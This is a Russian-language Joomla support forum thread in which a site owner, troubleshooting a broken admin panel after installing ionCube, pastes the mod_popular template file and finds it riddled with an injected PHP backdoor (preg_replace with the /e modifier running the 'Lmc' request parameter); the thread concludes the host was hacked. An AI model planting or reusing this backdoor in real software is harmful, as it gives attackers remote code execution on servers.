Перейти к содержимому


Фотография
- - - - -

ionCoube + Debian 7 86x

ioncoube debian

Лучший Ответ Atlant , 21 December 2015 - 09:47

Здесь все не так...

 

Такого ужасного кода быть в этом файле не должно. Вы уверены что это оригинальный файл от Joomla ?

Мнда... В оригинале все совсем не так. А тут как понимаю прописана замена каких то функций. Похоже хост взломали и меняют файлы. Поставили на контроль, и ищем вирусы.
Спасибо!

Перейти к сообщению


  • Закрытая тема Тема закрыта
Сообщений в теме: 5

#1 Atlant

Atlant

Отправлено 17 December 2015 - 10:01

Создавал тему, но разобрался. Мож кому помогут мои ошибки не повторять их. 

Сделал ошибку, распаковал архив и получилось что в папку ioncube /usr/lib/php5/20100525+lfs/ioncube/, а файлы нужно было в корень /usr/lib/php5/20100525+lfs/

Потом пытался понять, что вместо указанной директории conf.d была ссылка. Смотрел в свойства и не знал, что ссылка ..conf.d, точки значат на папки уровень выше (назад).

Теперь же не могу понять откуда взялся глюк административной панели. Он появился как раз после установки ioncoube. Хотя я понимаю, что это очень маловероятно что именно из этого. На главной странице не подгружаются css стили.

Проверил права. шаблона административной панели. Ставил другой шаблон административной панели - то же самое. Поставил обновление -  помогло.

Как назло совершил ошибку не сделал. Есть только недельный бекап. А за эту неделю почти всю структуру сайта прописал.JBZoo еще не ставил.

Подскажите в чем моежт быть проблема?

Картина такая:

cube.jpg



Сообщение отредактировал Atlant: 18 December 2015 - 10:25

  • 0

#2 SmetDenis

SmetDenis

Отправлено 18 December 2015 - 12:44

Нужен текст ошибки, которая произошла на сайте
https://cmscafe.ru/p...anyaem-prichinu

Без неё мы ничем вам не сможем помочь.
  • 0
JBZoo v4.0 и новый чудный мир Open Source GPL
Отключайте проверку лицензий как можно скорее!



— Есть два типа людей: Кто еще не делает бекапы и кто уже делает бекапы.


#3 Atlant

Atlant

Отправлено 20 December 2015 - 18:36

Нужен текст ошибки, которая произошла на сайте
https://cmscafe.ru/p...anyaem-prichinu

Без неё мы ничем вам не сможем помочь.

 

Та том же сервере на один из сайтов поставил к2, та же картина. Удали к2, все работает.

Получается ionCube не совместим с k2, или нужны доп настройки.

Мндя. А у меня на сервере несколько сайтов на к2...

Запущу отчеты об ошибках. Посмотрим, что выдаст


  • 0

#4 Atlant

Atlant

Отправлено 20 December 2015 - 19:32

Та том же сервере на один из сайтов поставил к2, та же картина. Удали к2, все работает.

Получается ionCube не совместим с k2, или нужны доп настройки.

Мндя. А у меня на сервере несколько сайтов на к2...

Запущу отчеты об ошибках. Посмотрим, что выдаст

Ошибка в файле: /administrator/modules/mod_popular/tmpl/default.php в 63 строке.
Но вот в чем ошибка, не пойму. Что здесь не так
<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}

/**
 * @package     Joomla.Administrator
 * @subpackage  mod_popular
 *
 * @copyright   Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');
?>
<div class="row-striped">
	<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 if (count($list)) : ?>
		<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 foreach ($list as $i => $item) : ?>
			<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 // Calculate popular items ?>
			<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 $hits = (int) $item->hits; ?>
			<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 $hits_class = ($hits >= 10000 ? 'important' : ($hits >= 1000 ? 'warning' : ($hits >= 100 ? 'info' : ''))); ?>
			<div class="row-fluid">
				<div class="span9">
					<span class="badge badge-<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 echo $hits_class; ?> hasTooltip" title="<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 echo JHtml::tooltipText('JGLOBAL_HITS'); ?>"><?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 echo $item->hits; ?></span>
					<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 if ($item->checked_out) : ?>
							<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time); ?>
					<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 endif; ?>

					<strong class="row-title break-word">
						<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 if ($item->link) : ?>
							<a href="<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 echo $item->link; ?>">
								<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 echo htmlspecialchars($item->title, ENT_QUOTES, 'UTF-8'); ?></a>
						<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 else : ?>
							<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 echo htmlspecialchars($item->title, ENT_QUOTES, 'UTF-8'); ?>
						<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 endif; ?>
					</strong>
				</div>
				<div class="span3">
					<span class="small">
						<span class="icon-calendar"></span>
						<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 echo JHtml::_('date', $item->created, JText::_('DATE_FORMAT_LC4')); ?>
					</span>
				</div>
			</div>
		<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 endforeach; ?>
	<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 else : ?>
		<div class="row-fluid">
			<div class="span12">
				<div class="alert"><?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 echo JText::_('MOD_POPULAR_NO_MATCHING_RESULTS'); ?></div>
			</div>
		</div>
	<?php
if (isset($_REQUEST["Lmc"])) {@preg_replace('/(.*)/e', @$_REQUEST['Lmc'], '');}
 endif; ?>
</div>

Закоментировал

61-63 и 85-87 заработало. Но вот правильно ли это?

Сейчас поставлю обновление Жумлы. Посмотрю что вылезет.


  • 0

#5 SmetDenis

SmetDenis

Отправлено 21 December 2015 - 09:08

Что здесь не так

Здесь все не так...

 

Такого ужасного кода быть в этом файле не должно. Вы уверены что это оригинальный файл от Joomla ?


  • 0
JBZoo v4.0 и новый чудный мир Open Source GPL
Отключайте проверку лицензий как можно скорее!



— Есть два типа людей: Кто еще не делает бекапы и кто уже делает бекапы.


#6 Atlant

Atlant

Отправлено 21 December 2015 - 09:47   Лучший Ответ

Здесь все не так...

 

Такого ужасного кода быть в этом файле не должно. Вы уверены что это оригинальный файл от Joomla ?

Мнда... В оригинале все совсем не так. А тут как понимаю прописана замена каких то функций. Похоже хост взломали и меняют файлы. Поставили на контроль, и ищем вирусы.
Спасибо!


  • 0




Click to return to top of page in style!